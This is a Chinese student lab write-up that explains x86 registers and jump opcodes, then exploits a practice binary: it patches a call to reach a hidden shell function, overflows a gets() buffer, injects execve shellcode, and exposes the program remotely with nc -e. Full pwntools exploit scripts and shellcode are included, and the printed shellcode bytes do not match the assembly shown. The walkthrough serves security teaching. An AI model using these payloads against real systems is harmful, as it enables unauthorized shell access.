常用匯編指令及寄存器的作用
-
NOP
:NOP指令即“空指令”。執行到NOP指令時,CPU什么也不做,僅僅當做一個指令執行過去並繼續執行NOP后面的一條指令。(機器碼:90) -
JNE
:條件轉移指令,如果不相等則跳轉。(機器碼:75) -
J E
:條件轉移指令,如果相等則跳轉。(機器碼:74) -
JMP
:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA) -
CMP
:比較指令,功能相當於減法指令,只是對操作數之間運算比較,不保存結果。cmp指令執行后,將對標志寄存器產生影響。其他相關指令通過識別這些被影響的標志寄存器位來得知比較結果。 -
EAX
:通用寄存器。相對其他寄存器,在進行運算方面比較常用。在保護模式中,也可以作為內存偏移指針(此時,DS作為段 寄存器或選擇器) -
EBX
:通用寄存器。通常作為內存偏移指針使用(相對於EAX、ECX、EDX),DS是默認的段寄存器或選擇器。在保護模式中,同樣可以起這個作用。 -
ECX
:通用寄存器。通常用於特定指令的計數。在保護模式中,也可以作為內存偏移指針(此時,DS作為 寄存器或段選擇器)。 -
EDX
:通用寄存器。在某些運算中作為EAX的溢出寄存器(例如乘、除)。在保護模式中,也可以作為內存偏移指針(此時,DS作為段 寄存器或選擇器)。 -
ESI
:通常在內存操作指令中作為“源地址指針”使用。當然,ESI可以被裝入任意的數值,但通常沒有人把它當作通用寄存器來用。DS是默認段寄存器或選擇器。 -
EDI
:通常在內存操作指令中作為“目的地址指針”使用。當然,EDI也可以被裝入任意的數值,但通常沒有人把它當作通用寄存器來用。DS是默認段寄存器或選擇器。 -
EBP
:這也是一個作為指針的寄存器。通常,它被高級語言編譯器用以建造‘堆棧幀'來保存函數或過程的局部變量,不過,還是那句話,你可以在其中保存你希望的任何數據。SS是它的默認段寄存器或選擇器。
工具選擇
-
kali2020
:用於提供linux環境 -
python3
:用於編寫腳本輔助攻擊 -
ida
:用於查看和調試程序運行情況
場景實操
准備工作
root@zengyutao:~# execstack -s 20181221pwn3 //設置堆棧可執行
root@zengyutao:~# execstack -q 20181221pwn3 //查詢文件的堆棧是否可執行
X 20181221pwn3
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space
2
root@zengyutao:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space
0
ida部分使用教程
- 確定程序是32位還是64位,選擇相應的ida打開。如果是32位的程序使用了64位的ida打開,雖然可以看到反匯編代碼,但是無法進行轉化為偽代碼的操作,會報錯,示例如下。
-
按F5進行轉換,查看程序偽代碼,這樣可以知道程序編寫邏輯,同時查看是否有隱藏的函數。(本次實踐中的程序在主函數中只調用了foo函數,隱藏了getShell函數,如圖所示)
-
同時,我們可以還通過切換窗口視圖來查看不同的窗口(反匯編窗口、偽代碼窗口、十六進制窗口、結構窗口、函數窗口等),反匯編窗口中可以通過空格切換為圖形視圖和文字視圖,同時,還可以下斷點對程序進行調試。
- 如果想要讓主機上的ida和虛擬機進行交互,需要進行部分配置。
- 更改ida模式為“Remote Linux debugger"
- 查看虛擬機IP地址,並打開導航欄里的Debugger->Process options,修改配置。(紅框內為需要輸入的虛擬機IP地址)
- 打開ida文件夾里的dbgsrv文件夾,將對應的linux_server文件放到需要交互的虛擬機文件夾中。
- 本地打開需要調試的程序,下好斷點后按F9開始調試,同時虛擬機中可以將payload發送過來。在調試中,F2下斷點,F7單步步入,F8單步步過。
實踐目標
本次實踐的對象是一個名為pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
但該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法getshell。
1、直接修改程序機器指令,改變程序執行流程
首先,用ida打開程序pwn1,F5查看程序偽代碼邏輯結構
可以看到,main函數中的邏輯非常簡單,調用foo函數,然后結束,我們再看看foo函數的邏輯。
foo函數會獲取用戶輸入,然后返回用戶輸出。此外,我們還發現了一個顯眼的getshell函數。
getShell函數為我們提供了一個可用shell。於是思路就出現了,我們可以通過修改main函數中調用foo函數的地址,使其跳轉到getShell函數,即可完成攻擊。所以我們要查看main函數和getShell的函數的機器碼和地址。
通過雙擊左側函數列表分別查看foo函數和getshell函數的入口,我們發現,foo函數的入口地址為08048491,getShell函數的入口地址為0804847D。所以,我們只需要修改程序16進制值,將08048491替換為0804847D即可達成目的。
我們先選中main函數中關鍵的地址
再查看16進制值,E8是跳轉的機器碼,我們想讓它調用getShell,只要修改“d7ffffff”為,"0804847D-80484ba"對應的補碼就行。
最后,我們使用winhex工具,通過計算,將D7FFFFFF改為C3FFFFFF即可完成攻擊。
2、通過構造輸入參數,造成BOF攻擊,改變程序執行流
根據剛剛我們查看foo函數偽代碼,可以知道,這里存在緩沖區溢出的漏洞。
首先,函數定義了一個char型的s,然后通過gets函數將用戶輸入的數據存入s中,再輸出s中的內容。而通常char分為無符號(unsigned)和有符號(signed)兩種:
-
無符號(unsigned)的取值范圍:0~255;
-
有符號(signed)的取值范圍為:-128~127.
一般我們常用char來聲明一個變量,編譯器默認為有符號的,即范圍為:-128~127。
具體緩沖區溢出攻擊原理看博客:https://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
因此,我們只需要輸入字節足夠長的內容,就可以成功覆蓋返回地址。通過計算,128/4=32,再加上返回地址,所以我們至少需要輸入36個字符才能夠到達返回地址。所以我們嘗試輸入”11111111222222223333333344444444haha“
可以看到紅框處,我們輸入的”11111111222222223333333344444444“已經把緩沖區填充滿了。然后選中的地方也可以發現,返回地址
也已經被我們輸入的”haha"占據了。因此,我們只需要將haha替換為getShell函數的返回地址,就可以成功攻擊了。
因此,我們只需要在腳本中修改一下payload的值,將haha替換為"\x7d\x84\x04\x08"即可。
這里貼上腳本,僅供參考:
from pwn import *
p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'\x7d\x84\x04\x08'
p.sendline(payload)
p.interactive()
3、嘗試注入自己的shellcode並運行拿shell
首先,我們先打開一個空白文檔,將匯編語言寫到文檔中,並保存為.asm文件
global _start
_start:
mov eax,0 ;eax置0
mov edx,0 ;edx置0
push edx
push "/sh"
push "/bin" ;將/bin/sh存入棧中
mov ebx,esp ;ebx指向/bin/sh字符串
xor eax,eax
mov al,0Bh ;eax置為execve函數中斷號
int 80h
然后,我們用nasm編譯,生成目標文件,再用gun ld來連接:
nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
再提取機器碼:
for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n ' '$i; done; echo
於是我們就得到了最終的shellcode
\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80
我們把這個shellcode添加到我們的腳本中,並運行
可以看到,shellcode的地址在FFFFD1B0中,我們只需要將”61686168“也就是”haha“改成"\xb0\xd1\xff\xff"既可
至此,使用填充字符法溢出緩沖區的攻擊已經完成。下面附上腳本:
from pwn import *
p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'\xb0\xd1\xff\xff\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()
那么,就有人問了,我如果不想填充那么多溢出緩沖區怎么辦?也有辦法
我們可以把我們的shellcode寫到緩沖區內部,再使用NOP填充到返回地址並修改就好了。
我們還是使用上面的shellcode作為演示,這次我們的payload是:
\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8c\xd1\xff\xff
由於char型緩沖區的長度為128,所以我們需要填充9個"\x90"才能到達返回地址。
不過這里有一個小細節需要注意,我們的shellcode長度不能太長,因為我們這時候已經快到EBX和ESP了。經過測試,我們shellcode的最大長度為24字節。
最后附上腳本:
from pwn import *
p = process('./20181221pwn3')
payload = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8c\xd1\xff\xff'
p.sendline(payload)
p.interactive()
4、遠程nc連接getshell
首先,在主機終端輸入指令開啟監聽
nc -l -p 28234 -e ./20181221pwn3
然后在另一台機上使用nc連接,這里我們直接使用pwn模組內置的remote函數進行連接。然后再直接通過腳本將shellcode傳進去,就可以getshell了。
最后貼上腳本:
from pwn import *
p = remote("192.168.211.137",28234)
test1shellcode = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\xec\xd1\xff\xff'
payload = test1shellcode
p.sendline(payload)
p.interactive()
心得體會
總的來說,這次實驗比較基礎,教會了我如何查看分析文件二進制。同時,對於匯編指令和機器碼也有了更加深入的理解,能夠自行編寫shellcode。收獲頗豐。